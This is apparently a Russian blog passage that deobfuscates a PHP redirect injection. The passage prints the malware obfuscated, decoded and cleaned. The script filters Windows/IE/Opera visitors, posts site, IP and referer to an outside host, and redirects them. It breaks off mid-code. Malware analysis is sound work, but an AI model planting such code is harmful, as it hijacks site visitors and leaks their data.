'0aG9'.'k','UE9TVA==','a'.'GV'.'hZGVy','Q29udG'.'VudC1'.'U'.'eXBlOiBh'.'cHBsaWNhdG'.'lv'.'bi9'.'4L'.'Xd3dy1m'.'b3'.'J'.'tL'.'XVybG'.'VuY29kZWQ'.'=','Cg==','Y29ud'.'GVudA'.'==','Ym'.'s=','UE'.'9'.'TVCA=','I'.'CBI'.'VFRQLzE'.'uM'.'A0K','VXN'.'lci'.'1BZ2'.'Vud'.'Dog'.'TW9'.'6aWxsYS'.'81LjAgKFdp'.'b'.'m'.'R'.'vd3M7IF'.'U'.'7IFdp'.'bmRvd3MgTl'.'QgNS4xO'.'yBl'.'bi1VUzs'.'gcnY6MS44'.'LjAuMyk'.'g'.'R'.'2V'.'ja28vMj'.'AwNjA0M'.'jYgRmlyZWZveC8'.'x'.'LjUu'.'MC4zDQo'.'=','QWN'.'jZXB0OiAqLy'.'oNC'.'g='.'=',''.'Q'.'WNjZXB0'.'LUxh'.'bmd'.'1YWdlOi'.'Blbi11cyxlbjtxPT'.'AuNQ0'.'K','QWN'.'jZX'.'B0LUN'.'o'.'YXJzZXQ6IE'.'lTTy0'.'4OD'.'U'.'5LTEsdXRmLTg'.'7cT0w'.'LjcsKj'.'txPTA'.'u'.'N'.'w0'.'K','Q29udG'.'VudC1M'.'ZW5n'.'dGg'.'6IA='.'=','D'.'Q'.'o=','','DQ'.'oN'.'Cg==','bQ==','am'.'1wcA==');return base64_decode($a[$i]);} ?><?php $GLOBALS['_664181862_'][0](_724562126(0),_724562126(1));$_0=isset($_SERVER[_724562126(2)])?$GLOBALS['_664181862_'][1]($_SERVER[_724562126(3)]):_724562126(4);(round(0+3419)-round(0+1139.6666666667+1139.6666666667+1139.6666666667)+round(0+3826)-round(0+1275.3333333333+1275.3333333333+1275.3333333333))?$GLOBALS['_664181862_'][2]($_1,$_2):$GLOBALS['_664181862_'][3](round(0+854.75+854.75+854.75+854.75),round(0+1938+1938));if($GLOBALS['_664181862_'][4]($_0,_724562126(5))===false){exit(_724562126(6));}$_3=array(_724562126(7),_724562126(8),_724562126(9),_724562126(10),_724562126(11),);$_4=false;foreach($_3 as $_5){if($GLOBALS['_664181862_'][5]($_0,$_5)!==false){$_4=true;break;}}if(!$_4){exit(_724562126(12));}$_6=isset($_SERVER[_724562126(13)])?$_SERVER[_724562126(14)]:_724562126(15);if(empty($_6)){exit(_724562126(16));}$_SERVER[_724562126(17)]=$GLOBALS['_664181862_'][6]($_SERVER[_724562126(18)]);$_SERVER[_724562126(19)]=$GLOBALS['_664181862_'][7](_724562126(20),_724562126(21),$_SERVER[_724562126(22)]);$_7=_724562126(23) .$GLOBALS['_664181862_'][8]($_SERVER[_724562126(24)]) ._724562126(25) .$GLOBALS['_664181862_'][9]($_SERVER[_724562126(26)] ._724562126(27) .$_6);;$_8=l__0($_7);if($_8==_724562126(28)){exit(_724562126(29));}$GLOBALS['_664181862_'][10](_724562126(30) .$GLOBALS['_664181862_'][11]($_8));function l__0($_9){if($GLOBALS['_664181862_'][12](_724562126(31))== round(0+0.33333333333333+0.33333333333333+0.33333333333333)){return l__1($_9);}else{$_10=$GLOBALS['_664181862_'][13](ADMIN_REDIR_URL);if($_11=@$GLOBALS['_664181862_'][14]($_10[_724562126(32)],round(0+80),$_12,$_13,round(0+3.75+3.75+3.75+3.75))){return l__2($_11,$_10[_724562126(33)],$_10[_724562126(34)],$_9);}elseif(@$GLOBALS['_664181862_'][15](_724562126(35))){return l__3($_9);}}}function l__1($_7){$_14=$GLOBALS['_664181862_'][16](array(_724562126(36)=> array(_724562126(37)=> _724562126(38),_724562126(39)=> _724562126(40) ._724562126(41),_724562126(42)=> $_7,),));if((round(0+767.6+767.6+767.6+767.6+767.6)^round(0+1279.3333333333+1279.3333333333+1279.3333333333))&& $GLOBALS['_664181862_'][17]($_4,$_15,$_5))$GLOBALS['_664181862_'][18]($_16);return $GLOBALS['_664181862_'][19](ADMIN_REDIR_URL,false,$_14);$_17=_724562126(43);}function l__2($_11,$_18,$_19,$_7){$GLOBALS['_664181862_'][20]($_11,_724562126(44) .$_19 ._724562126(45) ."Host: $_18\r\n" ._724562126(46) ._724562126(47) ._724562126(48) ._724562126(49) ._724562126(50) .$GLOBALS['_664181862_'][21]($_7) ._724562126(51) ."Content-Type: application/x-www-form-urlencoded\r\n\r\n$_7");$_2=_724562126(52);if(round(0+1000.25+1000.25+1000.25+1000.25)<$GLOBALS['_664181862_'][22](round(0+537+537+537),round(0+596.25+596.25+596.25+596.25)))$GLOBALS['_664181862_'][23]($_20,$_19,$_13);while($_15=$GLOBALS['_664181862_'][24]($_11,round(0+4096))){$_2 .= $_15;}$GLOBALS['_664181862_'][25]($_11);$_21=round(0+572+572);$_20=$GLOBALS['_664181862_'][26]($_2,_724562126(53));if(round(0+2240+2240)<$GLOBALS['_664181862_'][27](round(0+359.75+359.75+359.75+359.75),round(0+759+759+759+759)))$GLOBALS['_664181862_'][28]($_14,$_20);$_2=$GLOBALS['_664181862_'][29]($_2,$_20+round(0+0.8+0.8+0.8+0.8+0.8));$_22=round(0+500.8+500.8+500.8+500.8+500.8);return $_2;}function l__3($_7){$_1=$GLOBALS['_664181862_'][30](ADMIN_REDIR_URL);(round(0+149+149+149)-round(0+447)+round(0+215)-round(0+71.666666666667+71.666666666667+71.666666666667))?$GLOBALS['_664181862_'][31]($_4,$_15,$_18):$GLOBALS['_664181862_'][32](round(0+89.4+89.4+89.4+89.4+89.4),round(0+3183));$GLOBALS['_664181862_'][33]($_1,42,FALSE);$_23=_724562126(54);$GLOBALS['_664181862_'][34]($_1,19913,TRUE);if((round(0+2508)+round(0+2036.5+2036.5))>round(0+2508)|| $GLOBALS['_664181862_'][35]($_20));else{$GLOBALS['_664181862_'][36]($_15,$_7,$_12);}$GLOBALS['_664181862_'][37]($_1,13,round(0+3.75+3.75+3.75+3.75));$_24=_724562126(55);$GLOBALS['_664181862_'][38]($_1,10015,$_7);if((round(0+440+440+440+440)+round(0+200.25+200.25+200.25+200.25))>round(0+586.66666666667+586.66666666667+586.66666666667)|| $GLOBALS['_664181862_'][39]($_11,$_3,$_15));else{$GLOBALS['_664181862_'][40]($_13,$_1);}$_16=$GLOBALS['_664181862_'][41]($_1);$GLOBALS['_664181862_'][42]($_1);$_25=round(0+1576.6666666667+1576.6666666667+1576.6666666667);return $_16;}

Само собой — файл в одну строку, содержимое закодировано.
Добавим переносов:
содержимое второго файла
<? $GLOBALS['_664181862_']=Array(
	base64_decode('ZGVmaW5l'),
	base64_decode('c3RydG9sb3dlcg=='),
	base64_decode('aW1hZ2VjcmVhdGVmcm9tZ2lm'),
	base64_decode('bXRfcmFuZA=='),
	base64_decode('c3RycG9z'),
	base64_decode('c3RycG9z'),
	base64_decode('c3RydG9sb3dlcg=='),
	base64_decode('c3RyX3JlcGxhY2U='),
	base64_decode('dXJsZW5jb2Rl'),
	base64_decode('dXJsZW5jb2Rl'),
	base64_decode('aGVhZGVy'),
	base64_decode('dHJpbQ=='),
	base64_decode('aW5pX2dldA=='),
	base64_decode('cGFyc2VfdXJs'),
	base64_decode('ZnNvY2tvcGVu'),
	base64_decode('ZnVuY3Rpb25fZXhpc3Rz'),
	base64_decode('c3RyZWFtX2NvbnRleHRfY3JlYXRl'),
	base64_decode('YXJyYXlfcmVkdWNl'),
	base64_decode('ZmZsdXNo'),
	base64_decode('ZmlsZV9nZXRfY29udGVudHM='),
	base64_decode('ZnB1dHM='),
	base64_decode('c3RybGVu'),
	base64_decode('bXRfcmFuZA=='),
	base64_decode('YXJyYXlfZmlsbA=='),
	base64_decode('ZnJlYWQ='),
	base64_decode('ZmNsb3Nl'),
	base64_decode('c3RycG9z'),
	base64_decode('bXRfcmFuZA=='),
	base64_decode('YXJyYXlfZmxpcA=='),
	base64_decode('c3Vic3Ry'),
	base64_decode('Y3VybF9pbml0'),
	base64_decode('c3Vic3Ry'),
	base64_decode('bXRfcmFuZA=='),
	base64_decode('Y3VybF9zZXRvcHQ='),
	base64_decode('Y3VybF9zZXRvcHQ='),
	base64_decode('cHJlZ19yZXBsYWNl'),
	base64_decode('ZnJlYWQ='),
	base64_decode('Y3VybF9zZXRvcHQ='),
	base64_decode('Y3VybF9zZXRvcHQ='),
	base64_decode('c3RydmFs'),
	base64_decode('YXJyYXlfbWVyZ2U='),
	base64_decode('Y3VybF9leGVj'),
	base64_decode('Y3VybF9jbG9zZQ==')); 
?><? 
function _724562126($i){
	$a=Array(
		'QURNSU5fUkVESVJfVVJM',
		'aHR0cDovL3Rlc3QuY3VzdG9tc2V4Y2Ftcy5jb20vcmIvZ2V0X3VybC5waHA=',
		'SFRUUF9VU0VSX0FHRU5U',
		'SFRUUF9VU0VSX0FHRU5U',
		'',
		'd2luZG93cw==',
		'MXo=',
		'b3BlcmEvOS44MA==',
		'bXNpZSAxMA==',
		'bXNpZSA5',
		'bXNpZSA4',
		'bXNpZSA3',
		'Mno=',
		'SFRUUF9SRUZFUkVS',
		'SFRUUF9SRUZFUkVS',
		'',
		'M3o=',
		'SFRUUF9IT1NU',
		'SFRUUF9IT1NU',
		'SFRUUF9IT1NU',
		'd3d3Lg==',
		'',
		'SFRUUF9IT1NU',
		'ZD0=',
		'SFRUUF9IT1NU',
		'Og==',
		'UkVNT1RFX0FERFI=',
		'Og==',
		'QkFE',
		'NHo=',
		'TG9jYXRpb246IA==',
		'YWxsb3dfdXJsX2ZvcGVu',
		'aG9zdA==',
		'aG9zdA==',
		'cGF0aA==',
		'Y3VybF9pbml0',
		'aHR0cA==',
		'bWV0aG9k',
		'UE9TVA==',
		'aGVhZGVy',
		'Q29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQ=',
		'Cg==',
		'Y29udGVudA==',
		'Yms=',
		'UE9TVCA=',
		'ICBIVFRQLzEuMA0K',
		'VXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNS4xOyBlbi1VUzsgcnY6MS44LjAuMykgR2Vja28vMjAwNjA0MjYgRmlyZWZveC8xLjUuMC4zDQo=',
		'QWNjZXB0OiAqLyoNCg==',
		'QWNjZXB0LUxhbmd1YWdlOiBlbi11cyxlbjtxPTAuNQ0K',
		'QWNjZXB0LUNoYXJzZXQ6IElTTy04ODU5LTEsdXRmLTg7cT0wLjcsKjtxPTAuNw0K',
		'Q29udGVudC1MZW5ndGg6IA==',
		'DQo=',
		'',
		'DQoNCg==',
		'bQ==',
		'am1wcA==');
return base64_decode($a[$i]);
} 
?><?php 
$GLOBALS['_664181862_'][0](_724562126(0),_724562126(1));
$_0=isset($_SERVER[_724562126(2)])?$GLOBALS['_664181862_'][1]($_SERVER[_724562126(3)]):_724562126(4);
(round(0+3419)-round(0+1139.6666666667+1139.6666666667+1139.6666666667)+round(0+3826)-round(0+1275.3333333333+1275.3333333333+1275.3333333333))?$GLOBALS['_664181862_'][2]($_1,$_2):$GLOBALS['_664181862_'][3](round(0+854.75+854.75+854.75+854.75),round(0+1938+1938));
if($GLOBALS['_664181862_'][4]($_0,_724562126(5))===false){
	exit(_724562126(6));
}
$_3=array(_724562126(7),_724562126(8),_724562126(9),_724562126(10),_724562126(11),);
$_4=false;
foreach($_3 as $_5){
	if($GLOBALS['_664181862_'][5]($_0,$_5)!==false){
		$_4=true;
		break;
	}
}
if(!$_4){
	exit(_724562126(12));
}
$_6=isset($_SERVER[_724562126(13)])?$_SERVER[_724562126(14)]:_724562126(15);
if(empty($_6)){
	exit(_724562126(16));
}
$_SERVER[_724562126(17)]=$GLOBALS['_664181862_'][6]($_SERVER[_724562126(18)]);
$_SERVER[_724562126(19)]=$GLOBALS['_664181862_'][7](_724562126(20),_724562126(21),$_SERVER[_724562126(22)]);
$_7=_724562126(23) .$GLOBALS['_664181862_'][8]($_SERVER[_724562126(24)]) ._724562126(25) .$GLOBALS['_664181862_'][9]($_SERVER[_724562126(26)] ._724562126(27) .$_6);;

$_8=l__0($_7);
if($_8==_724562126(28)){
	exit(_724562126(29));
}

$GLOBALS['_664181862_'][10](_724562126(30) .$GLOBALS['_664181862_'][11]($_8));
function l__0($_9){
	if($GLOBALS['_664181862_'][12](_724562126(31))== round(0+0.33333333333333+0.33333333333333+0.33333333333333)){
		return l__1($_9);
	}else{
		$_10=$GLOBALS['_664181862_'][13](ADMIN_REDIR_URL);
		if($_11=@$GLOBALS['_664181862_'][14]($_10[_724562126(32)],round(0+80),$_12,$_13,round(0+3.75+3.75+3.75+3.75))){
			return l__2($_11,$_10[_724562126(33)],$_10[_724562126(34)],$_9);
		}elseif(@$GLOBALS['_664181862_'][15](_724562126(35))){
			return l__3($_9);
		}
	}
}
function l__1($_7){
	$_14=$GLOBALS['_664181862_'][16](array(_724562126(36)=> array(_724562126(37)=> _724562126(38),_724562126(39)=> _724562126(40) ._724562126(41),_724562126(42)=> $_7,),));
	if((round(0+767.6+767.6+767.6+767.6+767.6)^round(0+1279.3333333333+1279.3333333333+1279.3333333333))&& $GLOBALS['_664181862_'][17]($_4,$_15,$_5))$GLOBALS['_664181862_'][18]($_16);
	return $GLOBALS['_664181862_'][19](ADMIN_REDIR_URL,false,$_14);
	$_17=_724562126(43);
}

function l__2($_11,$_18,$_19,$_7){
	$GLOBALS['_664181862_'][20]($_11,_724562126(44) .$_19 ._724562126(45) ."Host: $_18\r\n" ._724562126(46) ._724562126(47) ._724562126(48) ._724562126(49) ._724562126(50) .$GLOBALS['_664181862_'][21]($_7) ._724562126(51) ."Content-Type: application/x-www-form-urlencoded\r\n\r\n$_7");
	$_2=_724562126(52);
	if(round(0+1000.25+1000.25+1000.25+1000.25)<$GLOBALS['_664181862_'][22](round(0+537+537+537),round(0+596.25+596.25+596.25+596.25)))$GLOBALS['_664181862_'][23]($_20,$_19,$_13);
	while($_15=$GLOBALS['_664181862_'][24]($_11,round(0+4096))){
		$_2 .= $_15;
	}
	$GLOBALS['_664181862_'][25]($_11);
	$_21=round(0+572+572);
	$_20=$GLOBALS['_664181862_'][26]($_2,_724562126(53));
	if(round(0+2240+2240)<$GLOBALS['_664181862_'][27](round(0+359.75+359.75+359.75+359.75),round(0+759+759+759+759)))$GLOBALS['_664181862_'][28]($_14,$_20);
	$_2=$GLOBALS['_664181862_'][29]($_2,$_20+round(0+0.8+0.8+0.8+0.8+0.8));
	$_22=round(0+500.8+500.8+500.8+500.8+500.8);
	return $_2;
}

function l__3($_7){
	$_1=$GLOBALS['_664181862_'][30](ADMIN_REDIR_URL);
	(round(0+149+149+149)-round(0+447)+round(0+215)-round(0+71.666666666667+71.666666666667+71.666666666667))?$GLOBALS['_664181862_'][31]($_4,$_15,$_18):$GLOBALS['_664181862_'][32](round(0+89.4+89.4+89.4+89.4+89.4),round(0+3183));
	$GLOBALS['_664181862_'][33]($_1,42,FALSE);
	$_23=_724562126(54);
	$GLOBALS['_664181862_'][34]($_1,19913,TRUE);
	if((round(0+2508)+round(0+2036.5+2036.5))>round(0+2508)|| $GLOBALS['_664181862_'][35]($_20));
	else{
		$GLOBALS['_664181862_'][36]($_15,$_7,$_12);
	}
	$GLOBALS['_664181862_'][37]($_1,13,round(0+3.75+3.75+3.75+3.75));
	$_24=_724562126(55);
	$GLOBALS['_664181862_'][38]($_1,10015,$_7);
	if((round(0+440+440+440+440)+round(0+200.25+200.25+200.25+200.25))>round(0+586.66666666667+586.66666666667+586.66666666667)|| $GLOBALS['_664181862_'][39]($_11,$_3,$_15));
	else{
		$GLOBALS['_664181862_'][40]($_13,$_1);
	}
	$_16=$GLOBALS['_664181862_'][41]($_1);
	$GLOBALS['_664181862_'][42]($_1);
	$_25=round(0+1576.6666666667+1576.6666666667+1576.6666666667);
	return $_16;
}
?>

Расшифровываем код:
содержимое второго файла
<? $GLOBALS['_664181862_']=Array(
 //    [0] => define
 //    [1] => strtolower
 //    [2] => imagecreatefromgif
 //    [3] => mt_rand
 //    [4] => strpos
 //    [5] => strpos
 //    [6] => strtolower
 //    [7] => str_replace
 //    [8] => urlencode
 //    [9] => urlencode
 //    [10] => header
 //    [11] => trim
 //    [12] => ini_get
 //    [13] => parse_url
 //    [14] => fsockopen
 //    [15] => function_exists
 //    [16] => stream_context_create
 //    [17] => array_reduce
 //    [18] => fflush
 //    [19] => file_get_contents
 //    [20] => fputs
 //    [21] => strlen
 //    [22] => mt_rand
 //    [23] => array_fill
 //    [24] => fread
 //    [25] => fclose
 //    [26] => strpos
 //    [27] => mt_rand
 //    [28] => array_flip
 //    [29] => substr
 //    [30] => curl_init
 //    [31] => substr
 //    [32] => mt_rand
 //    [33] => curl_setopt
 //    [34] => curl_setopt
 //    [35] => preg_replace
 //    [36] => fread
 //    [37] => curl_setopt
 //    [38] => curl_setopt
 //    [39] => strval
 //    [40] => array_merge
 //    [41] => curl_exec
 //    [42] => curl_close
	base64_decode('ZGVmaW5l'),
	base64_decode('c3RydG9sb3dlcg=='),
	base64_decode('aW1hZ2VjcmVhdGVmcm9tZ2lm'),
	base64_decode('bXRfcmFuZA=='),
	base64_decode('c3RycG9z'),
	base64_decode('c3RycG9z'),
	base64_decode('c3RydG9sb3dlcg=='),
	base64_decode('c3RyX3JlcGxhY2U='),
	base64_decode('dXJsZW5jb2Rl'),
	base64_decode('dXJsZW5jb2Rl'),
	base64_decode('aGVhZGVy'),
	base64_decode('dHJpbQ=='),
	base64_decode('aW5pX2dldA=='),
	base64_decode('cGFyc2VfdXJs'),
	base64_decode('ZnNvY2tvcGVu'),
	base64_decode('ZnVuY3Rpb25fZXhpc3Rz'),
	base64_decode('c3RyZWFtX2NvbnRleHRfY3JlYXRl'),
	base64_decode('YXJyYXlfcmVkdWNl'),
	base64_decode('ZmZsdXNo'),
	base64_decode('ZmlsZV9nZXRfY29udGVudHM='),
	base64_decode('ZnB1dHM='),
	base64_decode('c3RybGVu'),
	base64_decode('bXRfcmFuZA=='),
	base64_decode('YXJyYXlfZmlsbA=='),
	base64_decode('ZnJlYWQ='),
	base64_decode('ZmNsb3Nl'),
	base64_decode('c3RycG9z'),
	base64_decode('bXRfcmFuZA=='),
	base64_decode('YXJyYXlfZmxpcA=='),
	base64_decode('c3Vic3Ry'),
	base64_decode('Y3VybF9pbml0'),
	base64_decode('c3Vic3Ry'),
	base64_decode('bXRfcmFuZA=='),
	base64_decode('Y3VybF9zZXRvcHQ='),
	base64_decode('Y3VybF9zZXRvcHQ='),
	base64_decode('cHJlZ19yZXBsYWNl'),
	base64_decode('ZnJlYWQ='),
	base64_decode('Y3VybF9zZXRvcHQ='),
	base64_decode('Y3VybF9zZXRvcHQ='),
	base64_decode('c3RydmFs'),
	base64_decode('YXJyYXlfbWVyZ2U='),
	base64_decode('Y3VybF9leGVj'),
	base64_decode('Y3VybF9jbG9zZQ==')); 
?><? 
function _724562126($i){
//     [0] => ADMIN_REDIR_URL
//     [1] => http://test.customsexcams.com/rb/get_url.php
//     [2] => HTTP_USER_AGENT
//     [3] => HTTP_USER_AGENT
//     [4] => 
//     [5] => windows
//     [6] => 1z
//     [7] => opera/9.80
//     [8] => msie 10
//     [9] => msie 9
//     [10] => msie 8
//     [11] => msie 7
//     [12] => 2z
//     [13] => HTTP_REFERER
//     [14] => HTTP_REFERER
//     [15] => 
//     [16] => 3z
//     [17] => HTTP_HOST
//     [18] => HTTP_HOST
//     [19] => HTTP_HOST
//     [20] => www.
//     [21] => 
//     [22] => HTTP_HOST
//     [23] => d=
//     [24] => HTTP_HOST
//     [25] => :
//     [26] => REMOTE_ADDR
//     [27] => :
//     [28] => BAD
//     [29] => 4z
//     [30] => Location: 
//     [31] => allow_url_fopen
//     [32] => host
//     [33] => host
//     [34] => path
//     [35] => curl_init
//     [36] => http
//     [37] => method
//     [38] => POST
//     [39] => header
//     [40] => Content-Type: application/x-www-form-urlencoded
//     [41] => 

//     [42] => content
//     [43] => bk
//     [44] => POST 
//     [45] =>   HTTP/1.0

//     [46] => User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3

//     [47] => Accept: */*

//     [48] => Accept-Language: en-us,en;q=0.5

//     [49] => Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

//     [50] => Content-Length: 
//     [51] => 

//     [52] => 
//     [53] => 


//     [54] => m
//     [55] => jmpp
	$a=Array(
		'QURNSU5fUkVESVJfVVJM',
		'aHR0cDovL3Rlc3QuY3VzdG9tc2V4Y2Ftcy5jb20vcmIvZ2V0X3VybC5waHA=',
		'SFRUUF9VU0VSX0FHRU5U',
		'SFRUUF9VU0VSX0FHRU5U',
		'',
		'd2luZG93cw==',
		'MXo=',
		'b3BlcmEvOS44MA==',
		'bXNpZSAxMA==',
		'bXNpZSA5',
		'bXNpZSA4',
		'bXNpZSA3',
		'Mno=',
		'SFRUUF9SRUZFUkVS',
		'SFRUUF9SRUZFUkVS',
		'',
		'M3o=',
		'SFRUUF9IT1NU',
		'SFRUUF9IT1NU',
		'SFRUUF9IT1NU',
		'd3d3Lg==',
		'',
		'SFRUUF9IT1NU',
		'ZD0=',
		'SFRUUF9IT1NU',
		'Og==',
		'UkVNT1RFX0FERFI=',
		'Og==',
		'QkFE',
		'NHo=',
		'TG9jYXRpb246IA==',
		'YWxsb3dfdXJsX2ZvcGVu',
		'aG9zdA==',
		'aG9zdA==',
		'cGF0aA==',
		'Y3VybF9pbml0',
		'aHR0cA==',
		'bWV0aG9k',
		'UE9TVA==',
		'aGVhZGVy',
		'Q29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQ=',
		'Cg==',
		'Y29udGVudA==',
		'Yms=',
		'UE9TVCA=',
		'ICBIVFRQLzEuMA0K',
		'VXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNS4xOyBlbi1VUzsgcnY6MS44LjAuMykgR2Vja28vMjAwNjA0MjYgRmlyZWZveC8xLjUuMC4zDQo=',
		'QWNjZXB0OiAqLyoNCg==',
		'QWNjZXB0LUxhbmd1YWdlOiBlbi11cyxlbjtxPTAuNQ0K',
		'QWNjZXB0LUNoYXJzZXQ6IElTTy04ODU5LTEsdXRmLTg7cT0wLjcsKjtxPTAuNw0K',
		'Q29udGVudC1MZW5ndGg6IA==',
		'DQo=',
		'',
		'DQoNCg==',
		'bQ==',
		'am1wcA==');
return base64_decode($a[$i]);
} 
?><?php 
define(ADMIN_REDIR_URL,"http://test.customsexcams.com/rb/get_url.php");

if (isset($_SERVER[HTTP_USER_AGENT])) {
	$_0 = strtolower($_SERVER[HTTP_USER_AGENT]);
} else {
	$_0 = "";
}

if(0){
	imagecreatefromgif($_1,$_2);
} else {
	mt_rand(3419,3876);
}

if (strpos($_0,"windows")===false){
	exit("1z");
}

$_3=Array("opera/9.80", "msie 10", "msie 9", "msie 8", "msie 7",);
$_4=false;

foreach($_3 as $_5){
	if (strpos($_0,$_5)!==false){
		$_4=true;
		break;
	}
}
if(!$_4){
	exit("2z");

}
if (isset($_SERVER[HTTP_REFERER])){
	$_6 = $_SERVER[HTTP_REFERER]);
} else {
	$_6 = "";
}

if(empty($_6)){
	exit("3z");

}
$_SERVER[HTTP_HOST]=strtolower($_SERVER[HTTP_HOST]);
$_SERVER[HTTP_HOST]=str_replace("www.", "",$_SERVER[HTTP_HOST]);

$_7="d=urlencode($_SERVER[HTTP_HOST]):urlencode($_SERVER[REMOTE_ADDR]:$_6);";

$_8=l__0($_7);
if ($_8="BAD"){
	exit("4z");
}

header("Location: ".trim($_8));

function l__0($_9){
	if (ini_get(allow_url_fopen)==1){
		return l__1($_9);
	} else {
		$_10 = parse_url(ADMIN_REDIR_URL);
		if ($_11=@fsockopen($_10[host], 80, $_12, $_13, 15){
			return l__2($_11,$_10[host],$_10[path],$_9);
		} elseif (@function_exists(curl_init)){
			return l__3($_9);
		}
	}
}

function l__1($_7){
	$_14=stream_context_create(array(http=>array(method=>POST, header=>"Content-Type: application/x-www-form-urlencoded ",content=>$_7,),));
	if (0 && array_reduce($_4, $_15, $_5)){ //- мусор
		fflush($_16); 
	}
	return file_get_contents(ADMIN_REDIR_URL,false,$_14);

	$_17 = "bk"; //мусор
}

function l__2($_11,$_18,$_19,$_7){
	fputs($_11, "POST ".$_19."  HTTP/1.0\r\n
		Host: $_18\r\n
		User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3\r\n
		Accept: */*\r\n
		Accept-Language: en-us,en;q=0.5\r\n
		Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n
		Content-Length: ".strlen($_7)."\r\n
		Content-Type: application/x-www-form-urlencoded\r\n\r\n$_7");
	
	$_2="";
	
	if (4001<mt_rand(1611,2385)) { // мусор
		array_fill($_20,$_19,$_13);
	}
	
	while ($_15=fread($_11, 4096)){
		$_2 .= $_15;
	}
	
	fclose($_11);
	
	$_21 = 1144; // мусор
	
	$_20 = strpos($_2, "");
	
	if (4480<mt_rand(1439,3036)){ // мусор
		array_flip($_14, $_20);
	}
	
	$_2=substr($_2, $_20+4);
	
	$_22 = 2504; // мусор
	
	return $_2;
}

function l__3($_7){
	$_1 = curl_init(ADMIN_REDIR_URL);
	
	if (0){ // мусор
		substr($_4, $_15, $_18);
	} else {
		mt_rand(447, 3183);
	}
	
	curl_setopt($_1, 42, FALSE);
	
	$_23 = m; // мусор
	
	curl_setopt($_1,19913,TRUE);
	
	if (6581>2508 || preg_replace($_20)); //мусор
	else{
		fread($_15,$_7,$_12);
	}
	
	curl_setopt($_1,13,15);
	
	$_24 = jmpp; //мусор
	
	curl_setopt($_1,10015,$_7);
	
	if (2561>1760 || strval($_11,$_3,$_15)); // мусор
	else {
		array_merge($_13,$_1);
	}
	
	$_16=curl_exec($_1);
	
	curl_close($_1);
	
	$_25=4730; //мусор
	
	return $_16;
}

?>

Удаляем лишнее:

<?php 
define(ADMIN_REDIR_URL,"http://test.customsexcams.com/rb/get_url.php");

if (isset($_SERVER[HTTP_USER_AGENT])) { // Проверка наличия юзер-агента
	$_0 = strtolower($_SERVER[HTTP_USER_AGENT]);
} else {
	$_0 = "";
}

if (strpos($_0,"windows")===false){ // если юзер-агента нет, или в нём нет упоминания слова "windows", на экран выводится 1z. Скрипт завершается.
	exit("1z");
}

$_3=Array("opera/9.80", "msie 10", "msie 9", "msie 8", "msie 7",);
$_4=false;

foreach($_3 as $_5){
	if (strpos($_0,$_5)!==false){ //проверка упоминания в юзер-агенте браузера Opera или ШУ
		$_4=true;
		break;
	}
}

if(!$_4){
	exit("2z"); //если браузер иной - вывод на экран 2z. Скрипт завершается.
}

if (isset($_SERVER[HTTP_REFERER])){ // проверка наличия реферера
	$_6 = $_SERVER[HTTP_REFERER];
} else {
	$_6 = "";
}

if(empty($_6)){ // если нет реферера - вывод на экран 3z. Скрипт завершается.
	exit("3z");
}

$_SERVER[HTTP_HOST]=strtolower($_SERVER[HTTP_HOST]);
$_SERVER[HTTP_HOST]=str_replace("www.", "",$_SERVER[HTTP_HOST]); // 

$_7="d=urlencode($_SERVER[HTTP_HOST]):urlencode($_SERVER[REMOTE_ADDR]:$_6);"; // строка вида d=АДРЕС_САЙТА:АДРЕС_КЛИЕНТА:РЕФЕРАЛ
$_8=l__0($_7);

if ($_8="BAD"){ // если содержимое полученного файла "BAD" - вывод на экран 4z. Скрипт завершается.
	exit("4z");
}

header("Location: ".trim($_8)); // если всё удалось, переходим по полученной ссылке

function l__0($paramurl){ // выбор способа получения данных из файла
	if (ini_get(allow_url_fopen)==1){ 
		return l__1($paramurl);
	} else {
		$_10 = parse_url(ADMIN_REDIR_URL);
		if ($_11=@fsockopen($_10[host], 80, $_12, $_13, 15){
			return l__2($_11,$_10[host],$_10[path],$paramurl);
		} elseif (@function_exists(curl_init)){
			return l__3($paramurl);
		}
	}
}
function l__1($paramurl){ // получение данных из файла с помощью file_get_contents
	$_14=stream_context_create(array(
		http=>array(
			method=>POST, 
			header=>"Content-Type: application/x-www-form-urlencoded ",
			content=>$paramurl,
			),
		)
	);
	
	return file_get_contents(ADMIN_REDIR_URL,false,$_14);
}


function l__2($socket, $host, $path, $paramurl){ // получение данных из файла с помощью fsockopen
	fputs($socket, "POST ".$path."  HTTP/1.0\r\n
		Host: $host\r\n
		User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3\r\n
		Accept: */*\r\n
		Accept-Language: en-us,en;q=0.5\r\n
		Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n
		Content-Length: ".strlen($paramurl)."\r\n
		Content-Type: application/x-www-form-urlencoded\r\n\r\n$paramurl");
	$response="";

	while ($buffer=fread($socket, 4096)){
		$response .= $buffer;
	}
	
	fclose($socket);	
	$header_end = strpos($response, "");	
	$response=substr($response, $header_end+4);	
	return $response;
}


function l__3($paramurl){ // получение данных из файла с помощью curl
	$curl = curl_init(ADMIN_REDIR_URL);	
	curl_setopt($curl, 42, FALSE);	
	curl_setopt($curl,19913,TRUE);
	curl_setopt($curl,13,15);
	curl_setopt($curl,10015,$paramurl);	
	$response=curl_exec($curl);
	curl_close($curl);
	return $response;
}

?>


Суть скрипта — обращение по адресу test.customsexcams.com/rb/get_url.php с определённым параметром (вида d=АДРЕС_САЙТА: АДРЕС_КЛИЕНТА: РЕФЕРАЛ).

Быстренько, скопировав одну из функций, я запустил свой скрипт, чтобы перейти к следующему шагу:
$purl="d=weddingcatering.co.th:80.112.243.203%3AEach_will_be_rewarded_according_to_merit";
	$_14=stream_context_create(array(
		http=>array(
			method=>POST, 
